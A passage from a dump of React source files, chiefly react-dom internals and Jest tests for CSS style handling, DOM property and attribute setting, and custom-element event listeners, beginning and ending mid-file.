ReactDOMCurrentDispatcher */: DefaultDispatcher,\n  p /* currentUpdatePriority */: NoEventPriority,\n  findDOMNode: null,\n};\n\nexport default Internals;\n"
  },
  {
    "path": "packages/react-dom/src/ReactDOMSharedInternalsFB.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {EventPriority} from 'react-reconciler/src/ReactEventPriorities';\nimport type {HostDispatcher} from './shared/ReactDOMTypes';\n\nimport {NoEventPriority} from 'react-reconciler/src/ReactEventPriorities';\n\nimport noop from 'shared/noop';\n\ntype ReactDOMInternals = {\n  Events: [any, any, any, any, any, any],\n  d /* ReactDOMCurrentDispatcher */: HostDispatcher,\n  p /* currentUpdatePriority */: EventPriority,\n  findDOMNode:\n    | null\n    | ((componentOrElement: component(...props: any)) => null | Element | Text),\n};\n\nconst DefaultDispatcher: HostDispatcher = {\n  f /* flushSyncWork */: noop,\n  r /* requestFormReset */: noop,\n  D /* prefetchDNS */: noop,\n  C /* preconnect */: noop,\n  L /* preload */: noop,\n  m /* preloadModule */: noop,\n  X /* preinitScript */: noop,\n  S /* preinitStyle */: noop,\n  M /* preinitModuleScript */: noop,\n};\n\nconst Internals: ReactDOMInternals = {\n  Events: (null: any),\n  d /* ReactDOMCurrentDispatcher */: DefaultDispatcher,\n  p /* currentUpdatePriority */: NoEventPriority,\n  findDOMNode: null,\n};\n\nexport default Internals;\n"
  },
  {
    "path": "packages/react-dom/src/ReactDOMTestingFB.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactDOMFB';\n\nexport {\n  createComponentSelector,\n  createHasPseudoClassSelector,\n  createRoleSelector,\n  createTestNameSelector,\n  createTextSelector,\n  getFindAllNodesFailureDescription,\n  findAllNodes,\n  findBoundingRects,\n  focusWithin,\n  observeVisibleRects,\n} from 'react-reconciler/src/ReactFiberReconciler';\n"
  },
  {
    "path": "packages/react-dom/src/ReactDOMTestingFB.modern.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactDOMFB.modern';\n\nexport {\n  createComponentSelector,\n  createHasPseudoClassSelector,\n  createRoleSelector,\n  createTestNameSelector,\n  createTextSelector,\n  getFindAllNodesFailureDescription,\n  findAllNodes,\n  findBoundingRects,\n  focusWithin,\n  observeVisibleRects,\n} from 'react-reconciler/src/ReactFiberReconciler';\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/CSSPropertyOperations-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst React = require('react');\nconst ReactDOMClient = require('react-dom/client');\nconst ReactDOMServer = require('react-dom/server');\nconst act = require('internal-test-utils').act;\nconst assertConsoleErrorDev =\n  require('internal-test-utils').assertConsoleErrorDev;\n\ndescribe('CSSPropertyOperations', () => {\n  it('should automatically append `px` to relevant styles', () => {\n    const styles = {\n      left: 0,\n      margin: 16,\n      opacity: 0.5,\n      padding: '4px',\n    };\n    const div = <div style={styles} />;\n    const html = ReactDOMServer.renderToString(div);\n    expect(html).toContain('\"left:0;margin:16px;opacity:0.5;padding:4px\"');\n  });\n\n  it('should trim values', () => {\n    const styles = {\n      left: '16 ',\n      opacity: 0.5,\n      right: ' 4 ',\n    };\n    const div = <div style={styles} />;\n    const html = ReactDOMServer.renderToString(div);\n    expect(html).toContain('\"left:16;opacity:0.5;right:4\"');\n  });\n\n  it('should not append `px` to styles that might need a number', () => {\n    const styles = {\n      flex: 0,\n      opacity: 0.5,\n    };\n    const div = <div style={styles} />;\n    const html = ReactDOMServer.renderToString(div);\n    expect(html).toContain('\"flex:0;opacity:0.5\"');\n  });\n\n  it('should create vendor-prefixed markup correctly', () => {\n    const styles = {\n      msTransition: 'none',\n      MozTransition: 'none',\n    };\n    const div = <div style={styles} />;\n    const html = ReactDOMServer.renderToString(div);\n    expect(html).toContain('\"-ms-transition:none;-moz-transition:none\"');\n  });\n\n  it('should not hyphenate custom CSS property', () => {\n    const styles = {\n      '--someColor': '#000000',\n    };\n    const div = <div style={styles} />;\n    const html = ReactDOMServer.renderToString(div);\n    expect(html).toContain('\"--someColor:#000000\"');\n  });\n\n  it('should set style attribute when styles exist', async () => {\n    const styles = {\n      backgroundColor: '#000',\n      display: 'none',\n    };\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<div style={styles} />);\n    });\n\n    const div = container.firstChild;\n    expect(/style=\".*\"/.test(container.innerHTML)).toBe(true);\n  });\n\n  it('should not set style attribute when no styles exist', () => {\n    const styles = {\n      backgroundColor: null,\n      display: null,\n    };\n    const div = <div style={styles} />;\n    const html = ReactDOMServer.renderToString(div);\n    expect(/style=/.test(html)).toBe(false);\n  });\n\n  it('should warn when using hyphenated style names', async () => {\n    class Comp extends React.Component {\n      static displayName = 'Comp';\n\n      render() {\n        return <div style={{'background-color': 'crimson'}} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Comp />);\n    });\n    assertConsoleErrorDev([\n      'Unsupported style property background-color. Did you mean backgroundColor?' +\n        '\\n    in div (at **)' +\n        '\\n    in Comp (at **)',\n    ]);\n  });\n\n  it('should warn when updating hyphenated style names', async () => {\n    class Comp extends React.Component {\n      static displayName = 'Comp';\n\n      render() {\n        return <div style={this.props.style} />;\n      }\n    }\n\n    const styles = {\n      '-ms-transform': 'translate3d(0, 0, 0)',\n      '-webkit-transform': 'translate3d(0, 0, 0)',\n    };\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Comp />);\n    });\n    await act(() => {\n      root.render(<Comp style={styles} />);\n    });\n    assertConsoleErrorDev([\n      'Unsupported style property -ms-transform. Did you mean msTransform?' +\n        '\\n    in div (at **)' +\n        '\\n    in Comp (at **)',\n      'Unsupported style property -webkit-transform. Did you mean WebkitTransform?' +\n        '\\n    in div (at **)' +\n        '\\n    in Comp (at **)',\n    ]);\n  });\n\n  it('warns when miscapitalizing vendored style names', async () => {\n    class Comp extends React.Component {\n      static displayName = 'Comp';\n\n      render() {\n        return (\n          <div\n            style={{\n              msTransform: 'translate3d(0, 0, 0)',\n              oTransform: 'translate3d(0, 0, 0)',\n              webkitTransform: 'translate3d(0, 0, 0)',\n            }}\n          />\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Comp />);\n    });\n    assertConsoleErrorDev([\n      // msTransform is correct already and shouldn't warn\n      'Unsupported vendor-prefixed style property oTransform. ' +\n        'Did you mean OTransform?' +\n        '\\n    in div (at **)' +\n        '\\n    in Comp (at **)',\n      'Unsupported vendor-prefixed style property webkitTransform. ' +\n        'Did you mean WebkitTransform?' +\n        '\\n    in div (at **)' +\n        '\\n    in Comp (at **)',\n    ]);\n  });\n\n  it('should warn about style having a trailing semicolon', async () => {\n    class Comp extends React.Component {\n      static displayName = 'Comp';\n\n      render() {\n        return (\n          <div\n            style={{\n              fontFamily: 'Helvetica, arial',\n              backgroundImage: 'url(foo;bar)',\n              backgroundColor: 'blue;',\n              color: 'red;   ',\n            }}\n          />\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Comp />);\n    });\n    assertConsoleErrorDev([\n      \"Style property values shouldn't contain a semicolon. \" +\n        'Try \"backgroundColor: blue\" instead.' +\n        '\\n    in div (at **)' +\n        '\\n    in Comp (at **)',\n      \"Style property values shouldn't contain a semicolon. \" +\n        'Try \"color: red\" instead.' +\n        '\\n    in div (at **)' +\n        '\\n    in Comp (at **)',\n    ]);\n  });\n\n  it('should warn about style containing a NaN value', async () => {\n    class Comp extends React.Component {\n      static displayName = 'Comp';\n\n      render() {\n        return <div style={{fontSize: NaN}} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Comp />);\n    });\n    assertConsoleErrorDev([\n      '`NaN` is an invalid value for the `fontSize` css style property.' +\n        '\\n    in div (at **)' +\n        '\\n    in Comp (at **)',\n    ]);\n  });\n\n  it('should not warn when setting CSS custom properties', async () => {\n    class Comp extends React.Component {\n      render() {\n        return <div style={{'--foo-primary': 'red', backgroundColor: 'red'}} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Comp />);\n    });\n  });\n\n  it('should warn about style containing an Infinity value', async () => {\n    class Comp extends React.Component {\n      static displayName = 'Comp';\n\n      render() {\n        return <div style={{fontSize: 1 / 0}} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Comp />);\n    });\n    assertConsoleErrorDev([\n      '`Infinity` is an invalid value for the `fontSize` css style property.' +\n        '\\n    in div (at **)' +\n        '\\n    in Comp (at **)',\n    ]);\n  });\n\n  it('should not add units to CSS custom properties', async () => {\n    class Comp extends React.Component {\n      render() {\n        return <div style={{'--foo': '5'}} />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Comp />);\n    });\n\n    expect(container.children[0].style.getPropertyValue('--foo')).toEqual('5');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/DOMPropertyOperations-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// Set by `yarn test-fire`.\nconst {disableInputAttributeSyncing} = require('shared/ReactFeatureFlags');\n\ndescribe('DOMPropertyOperations', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  // Sets a value in a way that React doesn't see,\n  // so that a subsequent \"change\" event will trigger the event handler.\n  const setUntrackedValue = Object.getOwnPropertyDescriptor(\n    HTMLInputElement.prototype,\n    'value',\n  ).set;\n  const setUntrackedChecked = Object.getOwnPropertyDescriptor(\n    HTMLInputElement.prototype,\n    'checked',\n  ).set;\n\n  describe('setValueForProperty', () => {\n    it('should set values as properties by default', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div title=\"Tip!\" />);\n      });\n      expect(container.firstChild.title).toBe('Tip!');\n    });\n\n    it('should set values as attributes if necessary', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div role=\"#\" />);\n      });\n      expect(container.firstChild.getAttribute('role')).toBe('#');\n      expect(container.firstChild.role).toBeUndefined();\n    });\n\n    it('should set values as namespace attributes if necessary', async () => {\n      const container = document.createElementNS(\n        'http://www.w3.org/2000/svg',\n        'svg',\n      );\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<image xlinkHref=\"about:blank\" />);\n      });\n      expect(\n        container.firstChild.getAttributeNS(\n          'http://www.w3.org/1999/xlink',\n          'href',\n        ),\n      ).toBe('about:blank');\n    });\n\n    it('should set values as boolean properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div disabled=\"disabled\" />);\n      });\n      expect(container.firstChild.getAttribute('disabled')).toBe('');\n      await act(() => {\n        root.render(<div disabled={true} />);\n      });\n      expect(container.firstChild.getAttribute('disabled')).toBe('');\n      await act(() => {\n        root.render(<div disabled={false} />);\n      });\n      expect(container.firstChild.getAttribute('disabled')).toBe(null);\n      await act(() => {\n        root.render(<div disabled={true} />);\n      });\n      await act(() => {\n        root.render(<div disabled={null} />);\n      });\n      expect(container.firstChild.getAttribute('disabled')).toBe(null);\n      await act(() => {\n        root.render(<div disabled={true} />);\n      });\n      await act(() => {\n        root.render(<div disabled={undefined} />);\n      });\n      expect(container.firstChild.getAttribute('disabled')).toBe(null);\n    });\n\n    it('should convert attribute values to string first', async () => {\n      // Browsers default to this behavior, but some test environments do not.\n      // This ensures that we have consistent behavior.\n      const obj = {\n        toString: function () {\n          return 'css-class';\n        },\n      };\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div className={obj} />);\n      });\n      expect(container.firstChild.getAttribute('class')).toBe('css-class');\n    });\n\n    it('should not remove empty attributes for special input properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<input value=\"\" onChange={() => {}} />);\n      });\n      if (disableInputAttributeSyncing) {\n        expect(container.firstChild.hasAttribute('value')).toBe(false);\n      } else {\n        expect(container.firstChild.getAttribute('value')).toBe('');\n      }\n      expect(container.firstChild.value).toBe('');\n    });\n\n    it('should not remove empty attributes for special option properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select>\n            <option value=\"\">empty</option>\n            <option>filled</option>\n          </select>,\n        );\n      });\n      // Regression test for https://github.com/facebook/react/issues/6219\n      expect(container.firstChild.firstChild.value).toBe('');\n      expect(container.firstChild.lastChild.value).toBe('filled');\n    });\n\n    it('should remove for falsey boolean properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div allowFullScreen={false} />);\n      });\n      expect(container.firstChild.hasAttribute('allowFullScreen')).toBe(false);\n    });\n\n    it('should remove when setting custom attr to null', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div data-foo=\"bar\" />);\n      });\n      expect(container.firstChild.hasAttribute('data-foo')).toBe(true);\n      await act(() => {\n        root.render(<div data-foo={null} />);\n      });\n      expect(container.firstChild.hasAttribute('data-foo')).toBe(false);\n    });\n\n    it('should set className to empty string instead of null', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div className=\"selected\" />);\n      });\n      expect(container.firstChild.className).toBe('selected');\n      await act(() => {\n        root.render(<div className={null} />);\n      });\n      // className should be '', not 'null' or null (which becomes 'null' in\n      // some browsers)\n      expect(container.firstChild.className).toBe('');\n      expect(container.firstChild.getAttribute('class')).toBe(null);\n    });\n\n    it('should remove property properly for boolean properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div hidden={true} />);\n      });\n      expect(container.firstChild.hasAttribute('hidden')).toBe(true);\n      await act(() => {\n        root.render(<div hidden={false} />);\n      });\n      expect(container.firstChild.hasAttribute('hidden')).toBe(false);\n    });\n\n    it('should always assign the value attribute for non-inputs', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<progress />);\n      });\n      spyOnDevAndProd(container.firstChild, 'setAttribute');\n      await act(() => {\n        root.render(<progress value={30} />);\n      });\n      await act(() => {\n        root.render(<progress value=\"30\" />);\n      });\n      expect(container.firstChild.setAttribute).toHaveBeenCalledTimes(2);\n    });\n\n    it('should return the progress to intermediate state on null value', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<progress value={30} />);\n      });\n      await act(() => {\n        root.render(<progress value={null} />);\n      });\n      // Ensure we move progress back to an indeterminate state.\n      // Regression test for https://github.com/facebook/react/issues/6119\n      expect(container.firstChild.hasAttribute('value')).toBe(false);\n    });\n\n    it('custom element custom events lowercase', async () => {\n      const oncustomevent = jest.fn();\n      function Test() {\n        return <my-custom-element oncustomevent={oncustomevent} />;\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test />);\n      });\n      container\n        .querySelector('my-custom-element')\n        .dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(1);\n    });\n\n    it('custom element custom events uppercase', async () => {\n      const oncustomevent = jest.fn();\n      function Test() {\n        return <my-custom-element onCustomevent={oncustomevent} />;\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test />);\n      });\n      container\n        .querySelector('my-custom-element')\n        .dispatchEvent(new Event('Customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(1);\n    });\n\n    it('custom element custom event with dash in name', async () => {\n      const oncustomevent = jest.fn();\n      function Test() {\n        return <my-custom-element oncustom-event={oncustomevent} />;\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test />);\n      });\n      container\n        .querySelector('my-custom-element')\n        .dispatchEvent(new Event('custom-event'));\n      expect(oncustomevent).toHaveBeenCalledTimes(1);\n    });\n\n    it('custom element remove event handler', async () => {\n      const oncustomevent = jest.fn();\n      function Test(props) {\n        return <my-custom-element oncustomevent={props.handler} />;\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test handler={oncustomevent} />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n      customElement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<Test handler={false} />);\n      });\n      // Make sure that the second render didn't create a new element. We want\n      // to make sure removeEventListener actually gets called on the same element.\n      expect(customElement).toBe(customElement);\n      customElement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<Test handler={oncustomevent} />);\n      });\n      customElement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(2);\n\n      const oncustomevent2 = jest.fn();\n      await act(() => {\n        root.render(<Test handler={oncustomevent2} />);\n      });\n      customElement.dispatchEvent(new Event('customevent'));\n      expect(oncustomevent).toHaveBeenCalledTimes(2);\n      expect(oncustomevent2).toHaveBeenCalledTimes(1);\n    });\n\n    it('custom elements shouldnt have non-functions for on* attributes treated as event listeners', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <my-custom-element\n            onstring={'hello'}\n            onobj={{hello: 'world'}}\n            onarray={['one', 'two']}\n            ontrue={true}\n            onfalse={false}\n          />,\n        );\n      });\n      const customElement = container.querySelector('my-custom-element');\n      expect(customElement.getAttribute('onstring')).toBe('hello');\n      expect(customElement.getAttribute('onobj')).toBe('[object Object]');\n      expect(customElement.getAttribute('onarray')).toBe('one,two');\n      expect(customElement.getAttribute('ontrue')).toBe('');\n      expect(customElement.getAttribute('onfalse')).toBe(null);\n\n      // Dispatch the corresponding event names to make sure that nothing crashes.\n      customElement.dispatchEvent(new Event('string'));\n      customElement.dispatchEvent(new Event('obj'));\n      customElement.dispatchEvent(new Event('array'));\n      customElement.dispatchEvent(new Event('true'));\n      customElement.dispatchEvent(new Event('false'));\n    });\n\n    it('custom elements should still have onClick treated like regular elements', async () => {\n      let syntheticClickEvent = null;\n      const syntheticEventHandler = jest.fn(\n        event => (syntheticClickEvent = event),\n      );\n      let nativeClickEvent = null;\n      const nativeEventHandler = jest.fn(event => (nativeClickEvent = event));\n      function Test() {\n        return <my-custom-element onClick={syntheticEventHandler} />;\n      }\n\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Test />);\n      });\n\n      const customElement = container.querySelector('my-custom-element');\n      customElement.onclick = nativeEventHandler;\n      container.querySelector('my-custom-element').click();\n\n      expect(nativeEventHandler).toHaveBeenCalledTimes(1);\n      expect(syntheticEventHandler).toHaveBeenCalledTimes(1);\n      expect(syntheticClickEvent.nativeEvent).toBe(nativeClickEvent);\n    });\n\n    it('custom elements should have working onChange event listeners', async () => {\n      let reactChangeEvent = null;\n      const eventHandler = jest.fn(event => (reactChangeEvent = event));\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element onChange={eventHandler} />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n      let expectedHandlerCallCount = 0;\n\n      const changeEvent = new Event('change', {bubbles: true});\n      customElement.dispatchEvent(changeEvent);\n      expectedHandlerCallCount++;\n      expect(eventHandler).toHaveBeenCalledTimes(expectedHandlerCallCount);\n      expect(reactChangeEvent.nativeEvent).toBe(changeEvent);\n\n      // Also make sure that removing and re-adding the event listener works\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      customElement.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(eventHandler).toHaveBeenCalledTimes(expectedHandlerCallCount);\n      await act(() => {\n        root.render(<my-custom-element onChange={eventHandler} />);\n      });\n      customElement.dispatchEvent(new Event('change', {bubbles: true}));\n      expectedHandlerCallCount++;\n      expect(eventHandler).toHaveBeenCalledTimes(expectedHandlerCallCount);\n    });\n\n    it('custom elements should have working onInput event listeners', async () => {\n      let reactInputEvent = null;\n      const eventHandler = jest.fn(event => (reactInputEvent = event));\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<my-custom-element onInput={eventHandler} />);\n      });\n      const customElement = container.querySelector('my-custom-element');\n      let expectedHandlerCallCount = 0;\n\n      const inputEvent = new Event('input', {bubbles: true});\n      customElement.dispatchEvent(inputEvent);\n      expectedHandlerCallCount++;\n      expect(eventHandler).toHaveBeenCalledTimes(expectedHandlerCallCount);\n      expect(reactInputEvent.nativeEvent).toBe(inputEvent);\n\n      // Also make sure that removing and re-adding the event listener works\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      customElement.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(eventHandler).toHaveBeenCalledTimes(expectedHandlerCallCount);\n      await act(() => {\n        root.render(<my-custom-element onInput={eventHandler} />);\n      });\n      customElement.dispatchEvent(new Event('input', {bubbles: true}));\n      expectedHandlerCallCount++;\n      expect(eventHandler).toHaveBeenCalledTimes(expectedHandlerCallCount);\n    });\n\n    it('custom elements should have separate onInput and onChange handling', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const inputEventHandler = jest.fn();\n      const changeEventHandler = jest.fn();\n      await act(() => {\n        root.render(\n          <my-custom-element\n            onInput={inputEventHandler}\n            onChange={changeEventHandler}\n          />,\n        );\n      });\n      const customElement = container.querySelector('my-custom-element');\n\n      customElement.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(inputEventHandler).toHaveBeenCalledTimes(1);\n      expect(changeEventHandler).toHaveBeenCalledTimes(0);\n\n      customElement.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(inputEventHandler).toHaveBeenCalledTimes(1);\n      expect(changeEventHandler).toHaveBeenCalledTimes(1);\n    });\n\n    it('custom elements should be able to remove and re-add custom event listeners', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const eventHandler = jest.fn();\n      await act(() => {\n        root.render(<my-custom-element oncustomevent={eventHandler} />);\n      });\n\n      const customElement = container.querySelector('my-custom-element');\n      customElement.dispatchEvent(new Event('customevent'));\n      expect(eventHandler).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<my-custom-element />);\n      });\n      customElement.dispatchEvent(new Event('customevent'));\n      expect(eventHandler).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<my-custom-element oncustomevent={eventHandler} />);\n      });\n      customElement.dispatchEvent(new Event('customevent'));\n      expect(eventHandler).toHaveBeenCalledTimes(2);\n    });\n\n    it('<input is=...> should have the same onChange/onInput/onClick behavior as <input>', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const regularOnInputHandler = jest.fn();\n      const regularOnChangeHandler = jest.fn();\n      const regularOnClickHandler = jest.fn();\n      const customOnInputHandler = jest.fn();\n      const customOnChangeHandler = jest.fn();\n      const customOnClickHandler = jest.fn();\n      function clearMocks() {\n        regularOnInputHandler.mockClear();\n        regularOnChangeHandler.mockClear();\n        regularOnClickHandler.mockClear();\n        customOnInputHandler.mockClear();\n        customOnChangeHandler.mockClear();\n        customOnClickHandler.mockClear();\n      }\n      await act(() => {\n        root.render(\n          <div>\n            <input\n              onInput={regularOnInputHandler}\n              onChange={regularOnChangeHandler}\n              onClick={regularOnClickHandler}\n            />\n            <input\n              is=\"my-custom-element\"\n              onInput={customOnInputHandler}\n              onChange={customOnChangeHandler}\n              onClick={customOnClickHandler}\n            />\n          </div>,\n        );\n      });\n\n      const regularInput = container.querySelector(\n        'input:not([is=my-custom-element])',\n      );\n      const customInput = container.querySelector(\n        'input[is=my-custom-element]',\n      );\n      expect(regularInput).not.toBe(customInput);\n\n      // Typing should trigger onInput and onChange for both kinds of inputs.\n      clearMocks();\n      setUntrackedValue.call(regularInput, 'hello');\n      regularInput.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(regularOnInputHandler).toHaveBeenCalledTimes(1);\n      expect(regularOnChangeHandler).toHaveBeenCalledTimes(1);\n      expect(regularOnClickHandler).toHaveBeenCalledTimes(0);\n      setUntrackedValue.call(customInput, 'hello');\n      customInput.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(customOnInputHandler).toHaveBeenCalledTimes(1);\n      expect(customOnChangeHandler).toHaveBeenCalledTimes(1);\n      expect(customOnClickHandler).toHaveBeenCalledTimes(0);\n\n      // The native change event itself does not produce extra React events.\n      clearMocks();\n      regularInput.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(regularOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnChangeHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnClickHandler).toHaveBeenCalledTimes(0);\n      customInput.dispatchEvent(new Event('change', {bubbles: true}));\n      expect(customOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(customOnChangeHandler).toHaveBeenCalledTimes(0);\n      expect(customOnClickHandler).toHaveBeenCalledTimes(0);\n\n      // The click event is handled by both inputs.\n      clearMocks();\n      regularInput.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(regularOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnChangeHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnClickHandler).toHaveBeenCalledTimes(1);\n      customInput.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(customOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(customOnChangeHandler).toHaveBeenCalledTimes(0);\n      expect(customOnClickHandler).toHaveBeenCalledTimes(1);\n\n      // Typing again should trigger onInput and onChange for both kinds of inputs.\n      clearMocks();\n      setUntrackedValue.call(regularInput, 'goodbye');\n      regularInput.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(regularOnInputHandler).toHaveBeenCalledTimes(1);\n      expect(regularOnChangeHandler).toHaveBeenCalledTimes(1);\n      expect(regularOnClickHandler).toHaveBeenCalledTimes(0);\n      setUntrackedValue.call(customInput, 'goodbye');\n      customInput.dispatchEvent(new Event('input', {bubbles: true}));\n      expect(customOnInputHandler).toHaveBeenCalledTimes(1);\n      expect(customOnChangeHandler).toHaveBeenCalledTimes(1);\n      expect(customOnClickHandler).toHaveBeenCalledTimes(0);\n    });\n\n    it('<input type=radio is=...> should have the same onChange/onInput/onClick behavior as <input type=radio>', async () => {\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      const regularOnInputHandler = jest.fn();\n      const regularOnChangeHandler = jest.fn();\n      const regularOnClickHandler = jest.fn();\n      const customOnInputHandler = jest.fn();\n      const customOnChangeHandler = jest.fn();\n      const customOnClickHandler = jest.fn();\n      function clearMocks() {\n        regularOnInputHandler.mockClear();\n        regularOnChangeHandler.mockClear();\n        regularOnClickHandler.mockClear();\n        customOnInputHandler.mockClear();\n        customOnChangeHandler.mockClear();\n        customOnClickHandler.mockClear();\n      }\n      await act(() => {\n        root.render(\n          <div>\n            <input\n              type=\"radio\"\n              onInput={regularOnInputHandler}\n              onChange={regularOnChangeHandler}\n              onClick={regularOnClickHandler}\n            />\n            <input\n              is=\"my-custom-element\"\n              type=\"radio\"\n              onInput={customOnInputHandler}\n              onChange={customOnChangeHandler}\n              onClick={customOnClickHandler}\n            />\n          </div>,\n        );\n      });\n\n      const regularInput = container.querySelector(\n        'input:not([is=my-custom-element])',\n      );\n      const customInput = container.querySelector(\n        'input[is=my-custom-element]',\n      );\n      expect(regularInput).not.toBe(customInput);\n\n      // Clicking should trigger onClick and onChange on both inputs.\n      clearMocks();\n      setUntrackedChecked.call(regularInput, true);\n      regularInput.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(regularOnInputHandler).toHaveBeenCalledTimes(0);\n      expect(regularOnChangeHandler).toHaveBeenCalledTimes(1);\n      expect(regularOnClickHandler).toHaveBeenCalledTimes(1);\n      setUntrackedChecked.call(customInput, true);\n      customInput.dispatchEvent(new Event('click', {bubbles: true}));\n      expect(customOnInputHandler).toHaveBeenCalledTimes(0);\n     